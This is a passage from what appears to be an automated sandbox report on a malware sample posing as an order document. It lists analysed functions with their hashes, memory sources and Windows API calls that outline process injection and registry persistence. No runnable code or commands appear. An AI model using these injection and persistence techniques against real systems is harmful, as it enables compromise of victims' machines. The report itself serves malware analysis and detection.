Instruction ID: a7123b8b91855e28034800fb8f9738c4f19b0129107b93be726d026f1c47a691
Opcode Fuzzy Hash: a65c224f1fe09c03a18f9687f8a6ee6ac1ca2ccc6bdc5896980090588d85ce3a
Instruction Fuzzy Hash: 18E05275816229DFEF60CF60DA48BD9BBB1EF05345F0051DA9609A32A1C7745A85CF41

Function 06F179DD Relevance: 1.7, APIs: 1, Instructions: 208
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06F17BC2

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 21736419292e660e694c59bcff94e9f57381070b764524babebe3cbca4b08927
Instruction ID: 57aa020ebb3ff980bb22c675272852aba38025c195324ecfd5ad23720102de46
Opcode Fuzzy Hash: 21736419292e660e694c59bcff94e9f57381070b764524babebe3cbca4b08927
Instruction Fuzzy Hash: 94814371D002498FDB50EFA9C8917EEBBF2FF48350F148529E859EB294DB749981CB81

Function 06F179E8 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06F17BC2

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7dcd0860185a7701f5881c1e1fc038aa62ff1be75969982b3232e7fe0eac2714
Instruction ID: 5c154c0c37492d2f608b595b575b0fd08fb30e621f5d5b3aa48a29f52b4bd733
Opcode Fuzzy Hash: 7dcd0860185a7701f5881c1e1fc038aa62ff1be75969982b3232e7fe0eac2714
Instruction Fuzzy Hash: 50814271D002498FDB50EFA9C8817EEBBF2FF48350F148529E859AB294DB749981CF81

Function 030BA928 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 030BAB7E

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 690a271cac6e2a104906d6b5fabe0cf9f72d2d318e34390d05d1cca6c95413da
Instruction ID: 1b73908feffee6ee6d25f579af6f125c5768da307272c1d57b3ab052b5501482
Opcode Fuzzy Hash: 690a271cac6e2a104906d6b5fabe0cf9f72d2d318e34390d05d1cca6c95413da
Instruction Fuzzy Hash: 75716570A01B05DFDB64CF2AD44479ABBF5FF88200F048A2DD48ADBA40DB75E845CBA1

Function 06F1988C Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 06F199DD

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 43a7e8794ccee43f28ce33e910f80af0a0fb19264aa0b4dfe5da300080902b83
Instruction ID: a94094823315d60570712fd1fc6d8b5675d0debb5ef851e5fcf502692eaa89d1
Opcode Fuzzy Hash: 43a7e8794ccee43f28ce33e910f80af0a0fb19264aa0b4dfe5da300080902b83
Instruction Fuzzy Hash: E051A971D003588FDB50CFA9C8A57EEBBF2BF48350F148529D854EB284EBB49985CB81

Function 06F19898 Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 06F199DD

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: b9afe83c8017b9d763f4a8b9fda621b40e6ddbce738132d70d8cc240a4418fad
Instruction ID: 9e7bf2704d71a828f1d794be7cff2852e3b352ddaec315d082d2bb1972a8dbca
Opcode Fuzzy Hash: b9afe83c8017b9d763f4a8b9fda621b40e6ddbce738132d70d8cc240a4418fad
Instruction Fuzzy Hash: 42518871D003598FDB50CFA9C8A17EEBBF2BF48350F188529D855EB284DBB49985CB81

Function 06F19C9D Relevance: 1.6, APIs: 1, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegSetValueExA.KERNEL32(?,?,?,?,00000000,?), ref: 06F19DAA

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5e325986473457eb96692a300db9a3ef7bd4d920935bb20a0cfb89da16136919
Instruction ID: 0aa186f76a807a5182812e7248bb9c0a98b3971a559c07d6ecd77a2ae55f36c1
Opcode Fuzzy Hash: 5e325986473457eb96692a300db9a3ef7bd4d920935bb20a0cfb89da16136919
Instruction Fuzzy Hash: BA518971D002589FDB64CFA9C8957EEBBF2FF49340F148429E854AB240DBB58846CBD1

Function 06F19CA8 Relevance: 1.6, APIs: 1, Instructions: 110
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegSetValueExA.KERNEL32(?,?,?,?,00000000,?), ref: 06F19DAA

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 2e9af187bb93b3b04a9da6884892f1625ad7024365adb2996e5852c97f85725b
Instruction ID: bb42a60c50a988c2db24dcb01fc94ee3d4131047d6c8565c3cba6f8edbf182e0
Opcode Fuzzy Hash: 2e9af187bb93b3b04a9da6884892f1625ad7024365adb2996e5852c97f85725b
Instruction Fuzzy Hash: 334154B1D002589FDB64CFA9C895BDEBBF2FF48350F148429E854AB240CBB59845CF91

Function 06F19AD4 Relevance: 1.6, APIs: 1, Instructions: 109
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,?), ref: 06F19BCB

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f52b78195ce756bc23e696e25373697156343023b0843afc2bd4a1b5eeefe803
Instruction ID: b757c069fc49ecafbd080cb3d859c2b4ca9412cfbab9b2d4c529e69d1a9efbdb
Opcode Fuzzy Hash: f52b78195ce756bc23e696e25373697156343023b0843afc2bd4a1b5eeefe803
Instruction Fuzzy Hash: 6A4154B0D00259DFDB60CFA9C8A479EBBF5BF48740F14842AE854AB290DBB49945CF91

Function 06F19AE0 Relevance: 1.6, APIs: 1, Instructions: 102registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,?), ref: 06F19BCB

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a37d448046675c80eac3354b0e86af850273ee60065deeac113871e672782004
Instruction ID: 90989cbcff5d689c5fafa3480d7cc60ef3b812cb1cf91d605fc9fe1cb1767b6c
Opcode Fuzzy Hash: a37d448046675c80eac3354b0e86af850273ee60065deeac113871e672782004
Instruction Fuzzy Hash: AB4153B1D003599FDB10CFA9C894B9EFBF5BF48750F14842AE819AB280DBB49841CF91

Function 0724F210 Relevance: 1.6, Strings: 1, Instructions: 349COMMON

Download Yara Rule

Strings

d, xrefs: 0724F471

Memory Dump Source

Source File: 00000000.00000002.1410817108.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7230000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 4acaa354215d091671591c8df993d942c2f00af0b6d72e6712f9cb454c3fd876
Instruction ID: 45162a45d0afc94dcfe52f24a3db50d4dcd3f09c69e7206a91e13eb94f844275
Opcode Fuzzy Hash: 4acaa354215d091671591c8df993d942c2f00af0b6d72e6712f9cb454c3fd876
Instruction Fuzzy Hash: 0ED19971610606CFCB18DF28C58096AB7F6FFC8314B198969E85A8B365DB30F841CB91

Function 06F180B8 Relevance: 1.6, APIs: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06F18176

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 08ed8d02370011190eebbdac3e5e6ec1bdbf25fc9819522028960d348594acc7
Instruction ID: e8086e600c64a5d2a5bbe37944960af7e5db847a126a93aa7c74c339c161fe38
Opcode Fuzzy Hash: 08ed8d02370011190eebbdac3e5e6ec1bdbf25fc9819522028960d348594acc7
Instruction Fuzzy Hash: 78313E318093889FCB11DFA9D804BEFBFF8EF4A300F04845AE464AB291C7795944CBA1

Function 06F18200 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06F18298

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c4e797eb0d04430889ed42d718f48af21a31e45631c8d05e3ccfc7090102113b
Instruction ID: bbaccaaeacec120a614891adbac5edb88e7f719e8cfe284f3c491344d71dbc3c
Opcode Fuzzy Hash: c4e797eb0d04430889ed42d718f48af21a31e45631c8d05e3ccfc7090102113b
Instruction Fuzzy Hash: EB2155B58003499FDF10CFA9C985BEEBBF4FF48310F14882AE918A7240D7789941CBA0

Function 06F18208 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06F18298

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b7436d9854ec431e8d2d3b1f45079af3a9a1de4e5a78124f6f28a29aebc73033
Instruction ID: 4f685a1eb56ff2f6bc725f70cac21f1d63cf24d895531fa918deee2d16dec43d
Opcode Fuzzy Hash: b7436d9854ec431e8d2d3b1f45079af3a9a1de4e5a78124f6f28a29aebc73033
Instruction Fuzzy Hash: 032115759003499FDB10CFA9C985BDEBBF5FF48310F14842AE919A7240D7799954CBA0

Function 030BCF18 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030BCEE6,?,?,?,?,?), ref: 030BCFA7

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8b300800fc4875d078ce2659af1f54d1ae277f6b40cf062d0dbcdaa11d0b5402
Instruction ID: 49e47b6dc989d12ffc27196ab4f1bdae1ba4f463aaaa01b8cf9bc358cf9b1fed
Opcode Fuzzy Hash: 8b300800fc4875d078ce2659af1f54d1ae277f6b40cf062d0dbcdaa11d0b5402
Instruction Fuzzy Hash: C52116B5901249AFDB10CF9AD484ADEFFF8FB48320F14845AE914A3350D375A940CF65

Function 06F17CE1 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06F17D66

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 37d2994fd132c0a62ad337bd293522c8d1d068b9eead93d646cbc92242065016
Instruction ID: 04261efcaf6aa74d73dd17d576daa9445bf7d1916d4b0fdf3eb217903af3683e
Opcode Fuzzy Hash: 37d2994fd132c0a62ad337bd293522c8d1d068b9eead93d646cbc92242065016
Instruction Fuzzy Hash: 8E2138B1D003098FDB10DFAAC8857EEBBF5EF48314F14842AD959A7240D7789A44CFA1

Function 030BAF70 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030BCEE6,?,?,?,?,?), ref: 030BCFA7

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 29da0710f37d27bfa72e2deb4838585e53756e7c5ee3b16ad3f6cb029123474f
Instruction ID: 3628a0e413f220132d315f05723a38301299d5a444c58e35e6488826f286e818
Opcode Fuzzy Hash: 29da0710f37d27bfa72e2deb4838585e53756e7c5ee3b16ad3f6cb029123474f
Instruction Fuzzy Hash: D82114B5900249DFDB10CF9AD884AEEFBF8FB48310F14846AE918A3350D374A954CFA5

Function 06F17CE8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06F17D66

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 44efe3f485ad572a7b710e7db7236c5b84e452506e13cd8d38666631cbd59ca7
Instruction ID: 22ee7b3399952771a11918a23c2aa055345479457dfd6adb776a4bad2b29ec62
Opcode Fuzzy Hash: 44efe3f485ad572a7b710e7db7236c5b84e452506e13cd8d38666631cbd59ca7
Instruction Fuzzy Hash: 5C2127B1D003098FDB10DFAAC4857EEBBF5EF48214F14842AD559AB240DB789A44CFA5

Function 06F185F0 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06F1866C

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8b0f5a2d32a047828a1b0d24cad8fa16ae556307be34b49a5f0b2c648055ef27
Instruction ID: 520b6b534b97d26fa56efcc0c47225ed728671a2c4659708ada4fe07a77baef4
Opcode Fuzzy Hash: 8b0f5a2d32a047828a1b0d24cad8fa16ae556307be34b49a5f0b2c648055ef27
Instruction Fuzzy Hash: 1A2137718003498FDB10CFAAC444BEEBBF4FF49310F14842AD459A7240D7799944CFA1

Function 06F185F8 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06F1866C

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 853905d4f2f5b329ed5e16067edf57e881a53c091b14b68cf552d6f7a04093e7
Instruction ID: ca0dbc08939e4689ef7aa5a5e9359bc7be7384ac17d76fb40af433225bbc9b2d
Opcode Fuzzy Hash: 853905d4f2f5b329ed5e16067edf57e881a53c091b14b68cf552d6f7a04093e7
Instruction Fuzzy Hash: 88211571C003498FDB10DFAAC844BEEBBF4EF48220F14842AD569A7240C7799944CFA1

Function 030B9429 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 030B949D

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: d3421f3d2132766c2ffc977e32deedd485f87141ab0d54e15f79d726641b6316
Instruction ID: 9167070bd6b9c0dc57fa79e7327f4b3daa858be9eccb8fd3da9bb5485d67396c
Opcode Fuzzy Hash: d3421f3d2132766c2ffc977e32deedd485f87141ab0d54e15f79d726641b6316
Instruction Fuzzy Hash: 172136B1806388CFDB10CF59C4047EEBFF4EB16314F088099D998A7A82D37D5A04CB65

Function 06F18108 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06F18176

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aa7e3ea2f668ed30b75b0e9ac19f5115b8c46f1234193fb6d1323c6b598d90b8
Instruction ID: 4215e8cddfc3a40918230bdebb06a2d0e330c5ac3b3a0d98a2feabbac1716a36
Opcode Fuzzy Hash: aa7e3ea2f668ed30b75b0e9ac19f5115b8c46f1234193fb6d1323c6b598d90b8
Instruction Fuzzy Hash: A01137728003499FDF10DFAAC845BDEBBF5EF49310F148819E529A7250C7759954CFA1

Function 030B9438 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 030B949D

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: ad5da7fcaf9017d032a26b50aa5be54276c023276871bffa7981960b014884a4
Instruction ID: d7700346607e54b821b9f0d1ea532f9ee4053368ce199439a2e52c71e20bf612
Opcode Fuzzy Hash: ad5da7fcaf9017d032a26b50aa5be54276c023276871bffa7981960b014884a4
Instruction Fuzzy Hash: C111BFB5802389CFDB10DF96D4047EEBFF4EB09314F148499D998AB681D3795604CBA5

Function 030BAB18 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 030BAB7E

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e119b2f7ee2ac9bca1fb64d2c600ad33b58f6d43b439e3c2fc0db942a423991f
Instruction ID: 3ee39be3293dfbc1c69a630866c489511f85ead6e835f64dd9a8dc482a15ba10
Opcode Fuzzy Hash: e119b2f7ee2ac9bca1fb64d2c600ad33b58f6d43b439e3c2fc0db942a423991f
Instruction Fuzzy Hash: 35111DB6D003498FDB10CF9AC444BDEFBF9EB88224F14842AD828A7240C379A545CFA5

Function 06FF0ECF Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

!, xrefs: 06FF13C3

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 8a4d6263a601eba2bfa8ec0a25f51380a0b6cc56a32579d8e5948dedb7dfa6c7
Instruction ID: 977922342f1407f07b9fec089ff1ef0aafafe6533734191e743e376451e26630
Opcode Fuzzy Hash: 8a4d6263a601eba2bfa8ec0a25f51380a0b6cc56a32579d8e5948dedb7dfa6c7
Instruction Fuzzy Hash: 0D710370A46218CFDBA4DF58D858BA9B7B2FF49300F1080E9D509A72A1DB719E84CF41

Function 06FF6B99 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

F, xrefs: 06FF6C35

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: 599776f96600bc04dae64c418034b1b21cd678dcfce5785ac6e3ce2c6bc1a266
Instruction ID: c152ed5bfe39c0ababa134e5f7b0da25d513e9ec595bdb65cb048ad2d951bc7b
Opcode Fuzzy Hash: 599776f96600bc04dae64c418034b1b21cd678dcfce5785ac6e3ce2c6bc1a266
Instruction Fuzzy Hash: E921AC74905268DFDBA0DF64D944BDCBBB2AB09300F0081EAD60DA7251CB305E848F40

Function 06FF6655 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

%, xrefs: 06FF72F6

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 65954fc1cc98740592eaab7a8f3acd592399afa7441dbc4cce3439834cd01925
Instruction ID: 9fd71352a8af62f7440a05d7f91714456fbaeb87f4c2223a6af2fd7b433069d6
Opcode Fuzzy Hash: 65954fc1cc98740592eaab7a8f3acd592399afa7441dbc4cce3439834cd01925
Instruction Fuzzy Hash: 33218B74901268CFDBA0CF68DD48BD9BBB2AF49305F1481DADA09A7361C7729E85CF40

Function 07233AE4 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

t, xrefs: 07233AF1

Memory Dump Source

Source File: 00000000.00000002.1410817108.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7230000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: 821e44af4904c0107f3f70d0f67344a2b3b15e9dc47c962df16d1aa6c6e688ff
Instruction ID: 0ed14a64333ace9ccff1ed3411bf36a3cad13ce52c08e64a1b6d281ac872c8c3
Opcode Fuzzy Hash: 821e44af4904c0107f3f70d0f67344a2b3b15e9dc47c962df16d1aa6c6e688ff
Instruction Fuzzy Hash: B31126B492422ACFEB34DF18D888BA9B3B6BB85304F1052E5D45DA3640DB754E85CF11

Function 06FF65B9 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

,, xrefs: 06FF65EC

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 060ae8a7dc780f6a2e4be324482c6f648e2aed2b2f33f829bfaabbdc7251bc00
Instruction ID: 4ec742b1c87bc2b430514a9c179ebde6c2cdb848e344113d4ec530ab035ec830
Opcode Fuzzy Hash: 060ae8a7dc780f6a2e4be324482c6f648e2aed2b2f33f829bfaabbdc7251bc00
Instruction Fuzzy Hash: B011EE70901218CFEBA0DF18D9A4B9CB7B5BF09300F4082DAD509A72A1CB759E85CF40

Function 06F23AAC Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

9, xrefs: 06F23B49

Memory Dump Source

Source File: 00000000.00000002.1410303773.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f20000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 32a30b297515140304fad6e1488b559a5a9810bb1250a28fca7fcc8785bbca3c
Instruction ID: 35b985b17ec6f3f8743f6ea096f7ee796093c3ce0df584b1a19ff3a2179332e3
Opcode Fuzzy Hash: 32a30b297515140304fad6e1488b559a5a9810bb1250a28fca7fcc8785bbca3c
Instruction Fuzzy Hash: 3011CCB4A501188FCB64DF24C89479EBBF1EF4A311F4081EAD54AA7350DB305E80CF06

Function 06FF6F0C Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

>, xrefs: 06FF7256

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 0f108d269ca3648920d5ead14f38a12092d419b2d82d9eeed363523b6477c92f
Instruction ID: df24151af64ed60de470be80e62f9cdb9d04bf6c5640a738b1fdea57d4bfc6db
Opcode Fuzzy Hash: 0f108d269ca3648920d5ead14f38a12092d419b2d82d9eeed363523b6477c92f
Instruction Fuzzy Hash: B4F07A74A012289FDBA1CF98D884B9CBBB1AB49300F104099A50DAB3A0C7716E81CF80

Function 06FF649A Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

>, xrefs: 06FF7256

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: b1d41b5d52ac47fbd49278b137525cb9e06b57281aa8991fb5ae7964e87885d9
Instruction ID: df24151af64ed60de470be80e62f9cdb9d04bf6c5640a738b1fdea57d4bfc6db
Opcode Fuzzy Hash: b1d41b5d52ac47fbd49278b137525cb9e06b57281aa8991fb5ae7964e87885d9
Instruction Fuzzy Hash: B4F07A74A012289FDBA1CF98D884B9CBBB1AB49300F104099A50DAB3A0C7716E81CF80

Function 06F20502 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

L, xrefs: 06F2055A

Memory Dump Source

Source File: 00000000.00000002.1410303773.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

